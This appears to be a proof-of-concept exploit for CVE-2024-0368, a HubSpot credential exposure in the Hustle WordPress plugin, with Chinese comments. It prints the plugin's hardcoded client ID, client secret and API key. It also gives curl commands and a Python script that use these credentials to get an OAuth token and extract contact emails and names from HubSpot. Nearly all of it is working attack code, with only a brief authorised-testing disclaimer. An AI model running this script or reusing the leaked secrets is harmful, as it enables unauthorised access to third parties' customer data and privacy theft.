class Hustle_HubSpot_Api extends Opt_In_WPMUDEV_API {
    const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
    const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
    const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';
    const BASE_URL      = 'https://app.hubspot.com/';
    const API_URL       = 'https://api.hubapi.com/';
    const SCOPE         = 'oauth crm.objects.contacts.write crm.lists.read crm.objects.contacts.read crm.schemas.contacts.write crm.schemas.contacts.read crm.lists.write';

# 从 WordPress 安装目录
cat wp-content/plugins/wordpress-popup/inc/providers/hubspot/hustle-hubspot-api.php | grep -A3 "const CLIENT"

const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';

curl -X GET "https://api.hubapi.com/crm/v3/objects/contacts?hapikey=db9600bf-648c-476c-be42-6621d7a1f96a&limit=10"

{
  "status": "error",
  "message": "The API key used to make this call is expired.",
  "category": "EXPIRED_AUTHENTICATION"
}

curl -X POST "https://api.hubapi.com/oauth/v1/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=client_credentials&client_id=5253e533-2dd2-48fd-b102-b92b8f250d1b&client_secret=2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca"

#!/usr/bin/env python3
"""
CVE-2024-0368 - HubSpot API 密钥暴露 PoC
Hustle 插件 <= 7.8.3

此脚本通过尝试使用暴露的凭证访问 HubSpot API 来演示漏洞。

仅限授权安全测试使用。
"""

import requests
import json

# 从存在漏洞的插件中硬编码的凭证
CREDENTIALS = {
    "client_id": "5253e533-2dd2-48fd-b102-b92b8f250d1b",
    "client_secret": "2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca",
    "hapikey": "db9600bf-648c-476c-be42-6621d7a1f96a"
}

HUBSPOT_API = "https://api.hubapi.com"

def test_api_key():
    """测试泄露的 API 密钥是否仍然有效"""
    print("[*] 测试 HubSpot API 密钥...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    params = {"hapikey": CREDENTIALS["hapikey"], "limit": 1}

    response = requests.get(url, params=params)
    data = response.json()

    if response.status_code == 200:
        print("[+] API 密钥有效 - 漏洞可利用！")
        print(f"[+] 获取的联系人数据：{json.dumps(data, indent=2)}")
        return True
    else:
        print(f"[-] API 密钥状态：{data.get('message', '未知错误')}")
        return False

def test_oauth():
    """测试 OAuth 客户端凭证"""
    print("[*] 测试 OAuth 凭证...")

    url = f"{HUBSPOT_API}/oauth/v1/token"
    data = {
        "grant_type": "client_credentials",
        "client_id": CREDENTIALS["client_id"],
        "client_secret": CREDENTIALS["client_secret"]
    }

    response = requests.post(url, data=data)
    result = response.json()

    if "access_token" in result:
        print("[+] OAuth 凭证有效 - 已获得访问令牌！")
        return result["access_token"]
    else:
        print(f"[-] OAuth 状态：{result.get('message', '无效凭证')}")
        return None

def extract_contacts(api_key=None, access_token=None):
    """如果凭证有效，提取联系人"""
    print("[*] 尝试提取联系人...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    headers = {}
    params = {"limit": 100}

    if access_token:
        headers["Authorization"] = f"Bearer {access_token}"
    elif api_key:
        params["hapikey"] = api_key

    response = requests.get(url, headers=headers, params=params)

    if response.status_code == 200:
        contacts = response.json()
        print(f"[+] 成功提取 {len(contacts.get('results', []))} 个联系人")
        for contact in contacts.get("results", [])[:5]:
            props = contact.get("properties", {})
            print(f"    - {props.get('email', 'N/A')} | {props.get('firstname', '')} {props.get('lastname', '')}")
        return contacts

    return None

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2024-0368 - Hustle 插件 HubSpot API 密钥暴露")
    print("=" * 60)
    print()

    # 测试泄露的凭证
    api_valid = test_api_key()
    access_token = test_oauth()

    print()
    if api_valid or access_token:
        print("[!] 漏洞已确认 - 凭证仍然有效！")
        extract_contacts(
            api_key=CREDENTIALS["hapikey"] if api_valid else None,
            access_token=access_token
        )
    else:
        print("[*] 凭证已被轮换（预期在披露后）")
        print("[*] 代码中存在漏洞 - 凭证已被暴露")

    print()
    print("=" * 60)